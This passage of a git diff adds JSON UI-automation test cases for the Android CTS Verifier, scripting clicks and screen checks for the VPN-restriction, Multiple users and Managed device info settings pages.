"y1\":436.5,\"x2\":85.75,\"y2\":478.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Go\"}],\"className\":\"android.widget.ScrollView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":436.5,\"x2\":351.25,\"y2\":673.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":92.0,\"y\":530.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":88.0,\"y\":24.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"3b7242bd-5a58-4841-9d6e-9b0e3bd890c0\",\"firstText\":\"Go\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow configuring VPN\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":8.0,\"y1\":514.0,\"x2\":176.0,\"y2\":547.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow configuring VPN\",\"actionId\":\"a7ad2025-cdc5-47f7-aa80-bdabef8671de\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow configuring VPN\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set VPN restriction\",\"actionId\":\"a3fe787d-4e35-4745-a5ed-4a02b75b124f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set VPN restriction\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"b7cd95ec-0160-412d-8749-cc18070762ef\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Check VPN\",\"actionId\":\"186422aa-8526-46f3-8845-c1536b6cc774\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Check VPN\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify Vpn setup is not allowed\",\"actionId\":\"a99f0b36-1fdc-4fda-815a-6c3f8467925c\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"CONTAINS\",\"patternValue\":\"Cannot establish a VPN connection\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"d94364c7-bfc5-4de4-9052-81a1427fa383\",\"displayText\":\"Cannot establish a VPN connection.\\n This was expected.\\n Mark this test as passed.\\n\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.cts.verifier:id/device_owner_vpn_info\",\"text\":\"Cannot establish a VPN connection.\\n This was expected.\\n Mark this test as passed.\\n\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":73.5,\"x2\":360.0,\"y2\":167.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":138.0,\"y\":88.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":42.0,\"y\":31.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"d94364c7-bfc5-4de4-9052-81a1427fa383\",\"firstText\":\"Cannot establish a VPN connection.\\n This was expected.\\n Mark this test as passed.\\n\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Cannot establish a VPN connection\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":5.0,\"y1\":76.0,\"x2\":271.0,\"y2\":101.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"1f2a0b9e-80b1-4938-976b-855f3bfd1a67\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"a48b1f3f-1e11-42d6-9058-a9c6f6c22ef5\",\"a7ad2025-cdc5-47f7-aa80-bdabef8671de\",\"a3fe787d-4e35-4745-a5ed-4a02b75b124f\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"bcc40c72-d997-4128-80a1-6aca3603c260\",\"b7cd95ec-0160-412d-8749-cc18070762ef\",\"186422aa-8526-46f3-8845-c1536b6cc774\",\"a99f0b36-1fdc-4fda-815a-6c3f8467925c\",\"1f2a0b9e-80b1-4938-976b-855f3bfd1a67\",\"ed37b636-1904-49d8-a5cc-4f6046f1358b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"05-Disallow configuring VPN","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.095000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/12e01265-ef71-4a9b-92fa-96edbbf0df2a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/12e01265-ef71-4a9b-92fa-96edbbf0df2a
new file mode 100644
index 0000000..5db2bd4
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/12e01265-ef71-4a9b-92fa-96edbbf0df2a
@@ -0,0 +1 @@
+{"uuid":"12e01265-ef71-4a9b-92fa-96edbbf0df2a","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch Multiple users page\",\"actionId\":\"12e01265-ef71-4a9b-92fa-96edbbf0df2a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to  System\",\"actionId\":\"92d15422-4f17-4c11-b4c3-04a9b97e5f95\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"System\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b846dfe6-0cb5-4cc6-85a6-c5c4971155a2\",\"displayText\":\"System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"1a9707b7-49d2-402a-bd34-2ac9e319900a\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"467412d8-cde8-467f-93b7-41a42a867146\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":589.6666666666666,\"x2\":47.666666666666664,\"y2\":622.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":586.0,\"x2\":66.0,\"y2\":626.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"4e3f5798-c062-4ed4-8985-118df16ca659\",\"displayText\":\"System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"fcc4ca3a-7eb4-4ae4-bc81-0e7e56227af5\",\"displayText\":\"System\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"System\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":587.6666666666666,\"x2\":115.0,\"y2\":607.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-2.5,\"y\":2.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"System\"},{\"uuid\":\"4d7e6aa9-67a6-4c84-935c-a3fa2043fa84\",\"displayText\":\"Languages, gestures, time, backup\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Languages, gestures, time, backup\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":607.3333333333334,\"x2\":266.6666666666667,\"y2\":625.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Languages, gestures, time, backup\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":573.0,\"x2\":345.3333333333333,\"y2\":639.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"System\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":573.0,\"x2\":360.0,\"y2\":639.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":93.0,\"y\":595.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":87.0,\"y\":10.833333333333258,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"fcc4ca3a-7eb4-4ae4-bc81-0e7e56227af5\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"System\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":63.0,\"y1\":586.0,\"x2\":123.0,\"y2\":605.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, System\",\"actionId\":\"79b103e7-28ff-4151-af37-4b0f2d797a9f\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"System\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Multiple users\",\"actionId\":\"1809f74e-235d-4de5-832c-aa28c76aacab\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Multiple users\"}],\"childrenIdList\":[\"92d15422-4f17-4c11-b4c3-04a9b97e5f95\",\"79b103e7-28ff-4151-af37-4b0f2d797a9f\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"1809f74e-235d-4de5-832c-aa28c76aacab\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch Multiple users page","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.081000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/137e850e-d1e1-4fda-85f0-7a71c6aa39d8 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/137e850e-d1e1-4fda-85f0-7a71c6aa39d8
new file mode 100644
index 0000000..9377c5a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/137e850e-d1e1-4fda-85f0-7a71c6aa39d8
@@ -0,0 +1 @@
+{"uuid":"137e850e-d1e1-4fda-85f0-7a71c6aa39d8","details":"{\"type\":\"CompoundAction\",\"name\":\"16-01-Managed device info page\",\"actionId\":\"137e850e-d1e1-4fda-85f0-7a71c6aa39d8\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Managed device info page\",\"actionId\":\"00eec9fe-38c1-487b-bad3-79619a31b2eb\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Managed device info page\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"da134509-fe35-42d8-b74a-8d1a76aed0c6\",\"displayText\":\"Retrieve security logs\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Retrieve security logs\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":82.25,\"x2\":351.25,\"y2\":114.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":99.0,\"y\":104.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":81.0,\"y\":-6.375,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"da134509-fe35-42d8-b74a-8d1a76aed0c6\",\"firstText\":\"Retrieve security logs\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Managed device info page\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":13.0,\"y1\":89.0,\"x2\":185.0,\"y2\":120.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Managed device info page\",\"actionId\":\"880cf89a-bcfc-4a96-97cb-cd5a8233078c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Managed device info page\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to find Security\",\"actionId\":\"f000f871-0742-48aa-bad4-48643644873a\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Security\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"48192a16-0108-437d-aad0-de25385a4ad2\",\"displayText\":\"Security\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"6510b2b2-246f-4c30-9dee-a2e5299ca5fb\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"6ae5d044-673a-466d-8aaa-b6f311835063\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":516.25,\"x2\":45.5,\"y2\":547.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":512.75,\"x2\":63.0,\"y2\":551.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"f8d22870-7e8b-4384-9398-ee227a211b4d\",\"displayText\":\"Security\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"08ca9f0a-fb4b-4b1b-b833-784db55047df\",\"displayText\":\"Security\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Security\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":514.25,\"x2\":115.5,\"y2\":533.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-12.75,\"y\":1.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Security\"},{\"uuid\":\"afeaea16-eb38-46c4-8e8c-560362a59074\",\"displayText\":\"Play Protect, screen lock, face unlock\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Play Protect, screen lock, face unlock\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":533.25,\"x2\":265.75,\"y2\":549.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Play Protect, screen lock, face unlock\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":500.25,\"x2\":346.0,\"y2\":563.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Security\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":500.25,\"x2\":360.0,\"y2\":563.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":102.0,\"y\":522.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":78.0,\"y\":9.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"08ca9f0a-fb4b-4b1b-b833-784db55047df\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Security\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":61.0,\"y1\":510.0,\"x2\":143.0,\"y2\":535.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Security\",\"actionId\":\"6fbdafc5-0eae-4f25-a708-0a024d50708a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Security\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to find Managed device info\",\"actionId\":\"26bc1a0e-fc9d-46ac-85c1-57b408918948\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Managed device info\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"9ada6673-e420-4ba8-a044-a4c9116b9afc\",\"displayText\":\"Managed device info\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"f1892a23-1b58-42fe-8e7d-12336e2b5241\",\"displayText\":\"Managed device info\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"571c64ed-d089-46ba-ad59-43bdc693a444\",\"displayText\":\"Managed device info\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Managed device info\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":560.5,\"x2\":195.25,\"y2\":579.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":2.125,\"y\":2.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Managed device info\"},{\"uuid\":\"5d3b2711-58c3-4af1-bc67-cae826cb8cd9\",\"displayText\":\"Changes & settings managed by your organization\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Changes & settings managed by your organization\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":579.5,\"x2\":336.5,\"y2\":596.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Changes & settings managed by your organization\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":546.5,\"x2\":346.0,\"y2\":610.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Managed device info\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":546.5,\"x2\":360.0,\"y2\":610.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":127.0,\"y\":568.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":53.0,\"y\":10.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"571c64ed-d089-46ba-ad59-43bdc693a444\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Managed device info\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":54.0,\"y1\":558.0,\"x2\":200.0,\"y2\":578.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Managed device info\",\"actionId\":\"3917a71b-06f3-431e-bdd7-c6613b8c6665\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Managed device info\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify info \\\"Change setting on this device\\\"\",\"actionId\":\"00443cad-52a2-4c72-863d-c39b18c1d908\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"CONTAINS\",\"patternValue\":\"To provide access to your work data, your organization may change settings and install software on your device.\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"1fe52c2e-118e-4817-ae2c-64b0fe4277f0\",\"displayText\":\"To provide access to your work data, your organization may change settings and install software on your device.\\n\\nFor more details, contact your organization's admin.\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"6e3c7215-9b57-40bc-bc59-b3d622bed545\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"e6925a1b-806e-4ff8-96ed-2588d62b4c76\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":544.75,\"x2\":35.0,\"y2\":565.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":530.75,\"x2\":63.0,\"y2\":569.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"d3b28057-3ed5-43c8-8db5-1157cc016e24\",\"displayText\":\"To provide access to your work data, your organization may change settings and install software on your device.\\n\\nFor more details, contact your 